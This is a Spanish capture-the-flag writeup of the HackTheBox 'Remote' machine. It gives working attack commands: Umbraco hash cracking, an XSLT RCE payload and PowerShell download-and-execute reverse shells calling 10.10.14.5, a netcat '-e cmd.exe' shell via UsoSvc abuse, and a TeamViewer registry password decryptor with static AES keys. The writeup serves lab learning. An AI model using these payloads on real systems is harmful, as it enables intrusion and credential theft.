Saltar al contenido

HackTheBox – Remote – Writeup – (OSCP Friendly)

En este post voy a vulnerar la máquina Remote de Hack the Box. Es una máquina Windows, de nivel fácil, con múltiples vías para la explotación y la escalada de privilegios.

Enumeración

Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 10000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.

nmap -p- -n --min-rate 10000 10.10.10.180

En la máquina hay un siete puertos abiertos. Escaneo los seis primeros puertos que he encontrado (ya que el 49666 es un puerto dinámico del sistema) para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.

nmap -p21,80,111,135,445,2049 -sC -sV 10.10.10.180
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-25 13:44 CET
Nmap scan report for 10.10.10.180
Host is up (0.15s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
2049/tcp open  mountd        1-3 (RPC #100005)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 14m05s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-11-25T13:00:01
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 178.41 seconds

HTTP – Puerto 80

Comienzo leyendo las cabeceras con whatweb e identifica que usa el CMS Umbraco.

whatweb -a 3 http://10.10.10.180/

Accedo a la web pero, tras navegar un poco no encuentro nada relevante.

El panel de autenticación de este CMS se hace a través de la ruta http://10.10.10.180/umbraco y me redirige automáticamente a la ventana de login.

Pruebo, sin éxito, una serie de credenciales por defecto así que continuo con otros servicios.

NFS – Puerto 2049

Al enumerar la información del puerto 111 (RCP), me indica que en el puerto 2049 está corriendo un servicio nfs. Este servicio es un gestor de accesos, similar a samba o ftp.

Listo los directorios existentes con nmap y encuentro uno llamado /site_backups.

nmap -p2049 -sV --script nfs-showmount 10.10.10.180

Este comando es similar a showmount -e.

Para trabajar cómodamente con este directorio, voy a montar un recurso compartido/partición de este directorio en mi máquina. El comando tiene la siguiente sintaxis:

  • sudo: Para ejecutar el comando con permisos de root (necesario).
  • mount: Es el comando que crea la montura.
  • -t: Indica el sistema de archivos al que me voy a conectar.
  • nfs: Indica que me voy a montar un protocolo nfs.
  • //<IP>/<Carpeta Compartida>: Ubicación compartida de la red a la que voy a conectar la montura.
  • /mnt/<Carpeta Local>: Carpeta local que utilizo de enlace hacia el almacenamiento externo, dentro del directorio estándar donde se establecen los puntos de montaje en los sistemas Unix (/mnt).
sudo mkdir /mnt/remotenfs
sudo mount -t nfs 10.10.10.180:/site_backups /mnt/remotenfs/

Navego por los diferentes directorios y en el directorio /App_data encuentro un fichero llamado Umbraco.sdf.

La extensión .sdf se utiliza para almacenar bases de datos en formato estructurado, por lo que no podré leerlo a simple vista. Utilizo el comando strings para leer los caracteres legibles por humanos dentro del fichero y, en las primeras líneas se muestra lo que parecen ser usuarios y hashes, entre ellos, uno de administrador.

strings Umbraco.sdf
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32

Explotación

Cojo el hash de administrador y rompo por fuerza bruta con john, obteniendo las credenciales admin@htb.local:baconandcheese.

john -w=/usr/share/wordlists/rockyou.txt adminhash --format=Raw-SHA1

Introduzco estas credenciales en el CMS y consigo entrar en el panel de administración.

Pulsando en la pestaña de ayuda (abajo a la izquierda) identifico la versión del CMS como Umbraco 7.12.4.

En este punto tengo dos formas de hacer la explotación. La primera con un RCE descargado de github y la segunda con un exploit de exploit-db.

Método 1. Cargar un RCE

Buscando por internet encuentro este RCE para esta versión de umbraco. Simplemente lo descargo, me aseguro de cumplir los requirements y lo ejecuto.

python exploit.py
python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c whoami

Como se puede ver en la imagen anterior, su uso es muy sencillo y me permite ejecutar comandos en la máquina víctima, si poseo credenciales válidas.

Como puedo ejecutar comandos, voy a generar una shell reversa de powershell. Cojo el fichero /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 y al final del todo pongo el código Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 7897, que me dará la shell reversa por netcat.

Renombro el binario a ps.ps1, levanto un servidor http en python y ejecuto el comando.

python exploit.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180/ -c powershell.exe -a "iex(New-Object Net.Webclient).downloadstring('http://10.10.14.5:8000/ps.ps1')"

La flag de usuario la encuentro en la ruta C:\Users\Public\user.txt.

Método 2. Uso de exploit

Busco vulnerabilidades a nivel de kernel del CMS y encuentro una (que también es un RCE) y también necesita unas credenciales de autenticación válidas. Este exploit se puede ver también en exploit-db.

Echo un vistazo al código y veo que, según está escrito, si le añado un usuario, contraseña y una dirección de host, únicamente ejecutaría un comandos vacío y abriría la aplicación de la calculadora.

Vamos, me va a tocar modificar el código. En lugar de abrir la calculadora, voy a abrir una consola de comandos y voy a hacer que ejecute un comando en powershell para que me de una shell reversa (además de añadirle un usuario, contraseña y una dirección de host).

# Execute a calc for the PoC
payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "/c powershell -c IEX(new-object net.webclient).downloadstring(\'http://10.10.14.5:8000/ps.ps1\')"; System.Diagnostics.Process proc = new Syste>
 proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

login = "admin@htb.local";
password="baconandcheese";
host = "http://10.10.10.180";

Como puedo ejecutar comandos, voy a generar una shell reversa de powershell. Cojo el fichero /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 y al final del todo pongo el código Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 7897, que me dará la shell reversa por netcat.

Renombro el binario a ps.ps1, levanto un servidor http en python y ejecuto el exploit.

Escalada de Privilegios

Esta fase también se van a ver varías vías de ejecución. La primera será a través de un proceso y la segunda a través de una aplicación cuyo cifrado ha sido roto.

Método 1. Proceso UsoSvc

Hago una enumeración del sistema con PowerUp.ps1 y encuentro un servicio que puede ser un vector potencial para la escalada de privilegios.

IEX(New-Object Net.WebClient).downloadstring('http://10.10.14.5:8000/powerup.ps1')
Invoke-AllChecks

El servicio Update Orchestrator (UsoSvc) controla la descarga, instalación y verificación de actualizaciones de Windows  y se ejecuta en segundo plano.

Para poder explotar este servicio, necesito hacer que un binario establezca una conexión entre la máquina victima y la atacante así que utilizo el binario de netcat /usr/share/windows-resources/binaries/nc.exe y lo subo a la máquina víctima.

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.14.5:8000/nc.exe','nc.exe')"

Una vez subido, simplemente ejecuto el binario a través de este servicio y consigo una shell reversa.

Invoke-ServiceAbuse -ServiceName 'UsoSvc' -Command "C:\Users\Public\Documents\nc.exe 10.10.14.5 7898 -e cmd.exe"

La flag de root la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

Método 2. TeamViewer

Ejecuto un tasklist para ver las aplicaciones y procesos que hay en ejecución en el sistema y veo que se está ejecutado TeamViewer.

Algunas versiones de este software son vulnerables, o utilizaban claves estáticas para cifrar/descifrar credenciales por lo que me dirijo a la ruta C:\Program Files(x86)\TeamViewer para ver la versión de este programa.

Por el nombre del fichero, deduzco que se está ejecutando la un TeamViewer 7 o la versión 7 de este software, que posee esta «vulnerabilidad».

Las contraseñas se almacenan en el registro de Windows dentro del valor SecurityPasswordAES.

reg query HKLM\SOFTWARE\Wow6432Node\TeamViewer\Version7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TeamViewer\Version7
    StartMenuGroup    REG_SZ    TeamViewer 7
    InstallationDate    REG_SZ    2020-02-20
    InstallationDirectory    REG_SZ    C:\Program Files (x86)\TeamViewer\Version7
    Always_Online    REG_DWORD    0x1
    Security_ActivateDirectIn    REG_DWORD    0x0
    Version    REG_SZ    7.0.43148
    ClientIC    REG_DWORD    0x11f25831
    PK    REG_BINARY    BFAD2AEDB6C89AE0A0FD0501A0C5B9A5C0D957A4CC57C1884C84B6873EA03C069CF06195829821E28DFC2AAD372665339488DD1A8C85CDA8B19D0A5A2958D86476D82CA0F2128395673BA5A39F2B875B060D4D52BE75DB2B6C91EDB28E90DF7F2F3FBE6D95A07488AE934CC01DB8311176AEC7AC367AB4332ABD048DBFC2EF5E9ECC1333FC5F5B9E2A13D4F22E90EE509E5D7AF4935B8538BE4A606AB06FE8CC657930A24A71D1E30AE2188E0E0214C8F58CD2D5B43A52549F0730376DD3AE1DB66D1E0EBB0CF1CB0AA7F133148D1B5459C95A24DDEE43A76623759017F21A1BC8AFCD1F56FD0CABB340C9B99EE3828577371B7ADA9A8F967A32ADF6CF062B00026C66F8061D5CFF89A53EAE510620BC822BC6CC615D4DE093BC0CA8F5785131B75010EE5F9B6C228E650CA89697D07E51DBA40BF6FC3B2F2E30BF6F1C01F1BC2386FA226FFFA2BE25AE33FA16A2699A1124D9133F18B50F4DB6EDA2D23C2B949D6D2995229BC03507A62FCDAD55741B29084BD9B176CFAEDAAA9D48CBAF2C192A0875EC748478E51156CCDD143152125AE7D05177083F406703ED44DCACCD48400DD88A568520930BED69FCD672B15CD3646F8621BBC35391EAADBEDD04758EE8FC887BACE6D8B59F61A5783D884DBE362E2AC6EAC0671B6B5116345043257C537D27A8346530F8B7F5E0EBACE9B840E716197D4A0C3D68CFD2126E8245B01E62B4CE597AA3E2074C8AB1A4583B04DBB13F13EB54E64B850742A8E3E8C2FAC0B9B0CF28D71DD41F67C773A19D7B1A2D0A257A4D42FC6214AB870710D5E841CBAFCD05EF13B372F36BF7601F55D98ED054ED0F321AEBA5F91D390FF0E8E5815E6272BA4ABB3C85CF4A8B07851903F73317C0BC77FA12A194BB75999319222516
    SK    REG_BINARY    F82398387864348BAD0DBB41812782B1C0ABB9DAEEF15BC5C3609B2C5652BED7A9A07EA41B3E7CB583A107D39AFFF5E06DF1A06649C07DF4F65BD89DE84289D0F2CBF6B8E92E7B2901782BE8A039F2903552C98437E47E16F75F99C07750AEED8CFC7CD859AE94EC6233B662526D977FFB95DD5EB32D88A4B8B90EC1F8D118A7C6D28F6B5691EB4F9F6E07B6FE306292377ACE83B14BF815C186B7B74FFF9469CA712C13F221460AC6F3A7C5A89FD7C79FF306CEEBEF6DE06D6301D5FD9AB797D08862B9B7D75B38FB34EF82C77C8ADC378B65D9ED77B42C1F4CB1B11E7E7FB2D78180F40C96C1328970DA0E90CDEF3D4B79E08430E546228C000996D846A8489F61FE07B9A71E7FB3C3F811BB68FDDF829A7C0535BA130F04D9C7C09B621F4F48CD85EA97EF3D79A88257D0283BF2B78C5B3D4BBA4307D2F38D3A4D56A2706EDAB80A7CE20E21099E27481C847B49F8E91E53F83356323DDB09E97F45C6D103CF04693106F63AD8A58C004FC69EF8C506C553149D038191781E539A9E4E830579BCB4AD551385D1C9E4126569DD96AE6F97A81420919EE15CF125C1216C71A2263D1BE468E4B07418DE874F9E801DA2054AD64BE1947BE9580D7F0E3C138EE554A9749C4D0B3725904A95AEBD9DACCB6E0C568BFA25EE5649C31551F268B1F2EC039173B7912D6D58AA47D01D9E1B95E3427836A14F71F26E350B908889A95120195CC4FD68E7140AA8BB20E211D15C0963110878AAB530590EE68BF68B42D8EEEB2AE3B8DEC0558032CFE22D692FF5937E1A02C1250D507BDE0F51A546FE98FCED1E7F9DBA3281F1A298D66359C7571D29B24D1456C8074BA570D4D0BA2C3696A8A9547125FFD10FBF662E597A014E0772948F6C5F9F7D0179656EAC2F0C7F
    LastMACUsed    REG_MULTI_SZ    \0005056B946E0
    MIDInitiativeGUID    REG_SZ    {514ed376-a4ee-4507-a28b-484604ed0ba0}
    MIDVersion    REG_DWORD    0x1
    ClientID    REG_DWORD    0x6972e4aa
    CUse    REG_DWORD    0x1
    LastUpdateCheck    REG_DWORD    0x611bbaed
    UsageEnvironmentBackup    REG_DWORD    0x1
    SecurityPasswordAES    REG_BINARY    FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B
    MultiPwdMgmtIDs    REG_MULTI_SZ    admin
    MultiPwdMgmtPWDs    REG_MULTI_SZ    357BC4C8F33160682B01AE2D1C987C3FE2BAE09455B94A1919C4CD4984593A77
    Security_PasswordStrength    REG_DWORD    0x3

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TeamViewer\Version7\AccessControl
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TeamViewer\Version7\DefaultSettings

Como puedo ver en el código e imagen anteriores, la cadena de este valor es FF9B1C73D66BCE31AC413EAE131B464F582F6CE2D1E1F3DA7E8D376B26394E5B.

El código del descifrador original ha desaparecido pero encuentro otro script que lo descifra en el repositorio de github de ColdFusionX.

import sys, hexdump, binascii
from Crypto.Cipher import AES

class AESCipher:
    def __init__(self, key):
        self.key = key

    def decrypt(self, iv, data):
        self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self.cipher.decrypt(data)

key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")
hex_str_cipher = "1512F72021D9EB2697044817A208F9C4F24B1D54B8518B1155FCEA637F2DE4D1"			# output from the registry

ciphertext = binascii.unhexlify(hex_str_cipher)

raw_un = AESCipher(key).decrypt(iv, ciphertext)

print(hexdump.hexdump(raw_un))

password = raw_un.decode('utf-16')
print(password)

Simplemente guardo este script y sustituyo el valor del campo hex_str_cipher por el de la cadena que he encontrado en SecurityPasswordAES .

Una vez hecho, ejecuto el exploit y obtengo la contraseña !R3m0te!.

Como en la fase de enumeración he visto que se está ejecutando un servicio samba por el puerto 445, pruebo esta contraseña para el usuario Administrator en crackmapexec y veo que las credenciales son válidas.

crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

Por último, genero una shell con psexec.py.

psexec.py 'Administrator:!R3m0te!@10.10.10.180'
Publicado enCTFHTBwindows